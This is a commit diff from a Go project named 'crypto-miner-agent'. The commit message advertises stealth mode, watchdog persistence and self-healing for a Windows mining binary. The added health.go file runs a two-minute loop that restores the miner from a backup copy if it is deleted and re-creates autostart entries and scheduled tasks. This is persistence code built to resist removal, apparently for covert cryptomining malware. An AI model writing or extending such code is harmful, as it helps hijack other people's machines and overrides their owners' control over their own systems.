Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/deploy/health.go

@@ -0,0 +1,66 @@
+package deploy
+
+import (
+	"log"
+	"os"
+	"path/filepath"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+const backupSuffix = ".bak"
+
+// StartWatchdog keeps persistence and the installed binary healthy.
+func StartWatchdog(cfg config.RuntimeConfig) {
+	if !cfg.SelfHealing {
+		return
+	}
+	go func() {
+		ticker := time.NewTicker(2 * time.Minute)
+		defer ticker.Stop()
+		for range ticker.C {
+			if err := maintainInstall(cfg); err != nil {
+				log.Printf("[watchdog] maintenance: %v", err)
+			}
+		}
+	}()
+}
+
+func maintainInstall(cfg config.RuntimeConfig) error {
+	installDir, err := cfg.InstallDirectory()
+	if err != nil {
+		return err
+	}
+	installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
+	backupExe := installedExe + backupSuffix
+
+	if _, err := os.Stat(installedExe); os.IsNotExist(err) {
+		if _, statErr := os.Stat(backupExe); statErr == nil {
+			if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
+				return copyErr
+			}
+			log.Printf("[watchdog] restored missing binary from backup")
+		}
+	}
+
+	if cfg.AutoStart {
+		if err := configureAutoStart(cfg, installedExe); err != nil {
+			return err
+		}
+	}
+	if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
+		if err := createScheduledTask(cfg, installedExe); err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+func saveBackup(installedExe string) error {
+	backup := installedExe + backupSuffix
+	if _, err := os.Stat(backup); err == nil {
+		return nil
+	}
+	return copyFile(installedExe, backup)
+}